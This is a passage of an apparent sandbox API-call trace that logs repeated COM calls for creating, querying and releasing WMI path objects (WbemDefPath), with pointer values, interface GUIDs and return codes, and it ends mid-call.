[0138.562] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da820, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f4b200) returned 0x0 [0138.562] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f4b200, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0138.562] WbemDefPath:IUnknown:Release (This=0x4f4b200) returned 0x3 [0138.562] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0138.562] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0138.562] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da820, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0138.562] WbemDefPath:IUnknown:Release (This=0x4da820) returned 0x2 [0138.562] WbemDefPath:IUnknown:Release (This=0x4da820) returned 0x1 [0138.562] SetEvent (hEvent=0x464) returned 1 [0138.564] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f4b1e0) returned 0x0 [0138.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f4b1e0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0138.564] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f4b1e0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4da7b0) returned 0x0 [0138.564] WbemDefPath:IUnknown:Release (This=0x4f4b1e0) returned 0x0 [0138.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da7b0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4da7b0) returned 0x0 [0138.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da7b0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0138.565] WbemDefPath:IUnknown:AddRef (This=0x4da7b0) returned 0x3 [0138.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da7b0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0138.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da7b0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0138.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da7b0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f4b210) returned 0x0 [0138.565] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f4b210, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0138.565] WbemDefPath:IUnknown:Release (This=0x4f4b210) returned 0x3 [0138.565] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0138.565] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0138.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da7b0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0138.565] WbemDefPath:IUnknown:Release (This=0x4da7b0) returned 0x2 [0138.565] WbemDefPath:IUnknown:Release (This=0x4da7b0) returned 0x1 [0138.565] SetEvent (hEvent=0x410) returned 1 [0140.380] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f35d48) returned 0x0 [0140.380] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f35d48, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0140.380] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f35d48, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4da740) returned 0x0 [0140.381] WbemDefPath:IUnknown:Release (This=0x4f35d48) returned 0x0 [0140.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da740, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4da740) returned 0x0 [0140.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da740, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0140.381] WbemDefPath:IUnknown:AddRef (This=0x4da740) returned 0x3 [0140.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da740, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0140.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da740, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0140.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da740, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f35d38) returned 0x0 [0140.381] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f35d38, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.381] WbemDefPath:IUnknown:Release (This=0x4f35d38) returned 0x3 [0140.381] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0140.381] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0140.381] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da740, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0140.381] WbemDefPath:IUnknown:Release (This=0x4da740) returned 0x2 [0140.381] WbemDefPath:IUnknown:Release (This=0x4da740) returned 0x1 [0140.382] SetEvent (hEvent=0x4e4) returned 1 [0140.405] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f5b208) returned 0x0 [0140.405] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f5b208, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0140.405] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f5b208, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4da6d0) returned 0x0 [0140.405] WbemDefPath:IUnknown:Release (This=0x4f5b208) returned 0x0 [0140.405] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da6d0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4da6d0) returned 0x0 [0140.405] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da6d0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0140.406] WbemDefPath:IUnknown:AddRef (This=0x4da6d0) returned 0x3 [0140.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da6d0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0140.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da6d0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0140.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da6d0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f5b218) returned 0x0 [0140.406] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f5b218, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.406] WbemDefPath:IUnknown:Release (This=0x4f5b218) returned 0x3 [0140.406] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0140.406] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0140.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da6d0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0140.406] WbemDefPath:IUnknown:Release (This=0x4da6d0) returned 0x2 [0140.406] WbemDefPath:IUnknown:Release (This=0x4da6d0) returned 0x1 [0140.406] SetEvent (hEvent=0x4e8) returned 1 [0140.408] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f5b208) returned 0x0 [0140.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f5b208, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0140.409] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f5b208, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4da660) returned 0x0 [0140.409] WbemDefPath:IUnknown:Release (This=0x4f5b208) returned 0x0 [0140.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da660, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4da660) returned 0x0 [0140.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da660, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0140.409] WbemDefPath:IUnknown:AddRef (This=0x4da660) returned 0x3 [0140.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da660, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0140.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da660, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0140.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da660, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f5b228) returned 0x0 [0140.409] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f5b228, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.409] WbemDefPath:IUnknown:Release (This=0x4f5b228) returned 0x3 [0140.410] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0140.410] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0140.410] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da660, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0140.410] WbemDefPath:IUnknown:Release (This=0x4da660) returned 0x2 [0140.410] WbemDefPath:IUnknown:Release (This=0x4da660) returned 0x1 [0140.410] SetEvent (hEvent=0x4ec) returned 1 [0140.412] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f5b208) returned 0x0 [0140.412] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f5b208, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0140.412] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f5b208, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4da5f0) returned 0x0 [0140.413] WbemDefPath:IUnknown:Release (This=0x4f5b208) returned 0x0 [0140.413] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da5f0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4da5f0) returned 0x0 [0140.413] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da5f0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0140.413] WbemDefPath:IUnknown:AddRef (This=0x4da5f0) returned 0x3 [0140.413] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da5f0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0140.413] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da5f0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x439e2bc | out: ppvObject=0x439e2bc*=0x0) returned 0x80004002 [0140.413] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da5f0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e2c8 | out: ppvObject=0x439e2c8*=0x4f5b238) returned 0x0 [0140.413] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x4f5b238, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x439e2d0 | out: pCid=0x439e2d0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.413] WbemDefPath:IUnknown:Release (This=0x4f5b238) returned 0x3 [0140.413] CoGetContextToken (in: pToken=0x439e328 | out: pToken=0x439e328) returned 0x0 [0140.413] CoGetContextToken (in: pToken=0x439e73c | out: pToken=0x439e73c) returned 0x0 [0140.413] WbemDefPath:IUnknown:QueryInterface (in: This=0x4da5f0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e7bc | out: ppvObject=0x439e7bc*=0x0) returned 0x80004002 [0140.413] WbemDefPath:IUnknown:Release (This=0x4da5f0) returned 0x2 [0140.413] WbemDefPath:IUnknown:Release (This=0x4da5f0) returned 0x1 [0140.413] SetEvent (hEvent=0x4f0) returned 1 [0142.170] CoGetClassObject (in: rclsid=0x4f1c3dc*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x439ebb8 | out: ppv=0x439ebb8*=0x4f5b378) returned 0x0 [0142.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f5b378, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x439edd0 | out: ppvObject=0x439edd0*=0x0) returned 0x80004002 [0142.170] WbemDefPath:IClassFactory:CreateInstance (in: This=0x4f5b378, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439eddc | out: ppvObject=0x439eddc*=0x4dab30) returned 0x0 [0142.170] WbemDefPath:IUnknown:Release (This=0x4f5b378) returned 0x0 [0142.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x4dab30, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x439e9fc | out: ppvObject=0x439e9fc*=0x4dab30) returned 0x0 [0142.170] WbemDefPath:IUnknown:QueryInterface (in: This=0x4dab30, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x439e9b0 | out: ppvObject=0x439e9b0*=0x0) returned 0x80004002 [0142.171] WbemDefPath:IUnknown:AddRef (This=0x4dab30) returned 0x3 [0142.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x4dab30, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x439e30c | out: ppvObject=0x439e30c*=0x0) returned 0x80004002 [0142.171] WbemDefPath:IUnknown:QueryInterface (in: This=0x4dab30, riid=0x713c1764*(Data1=0x94ea2b94, 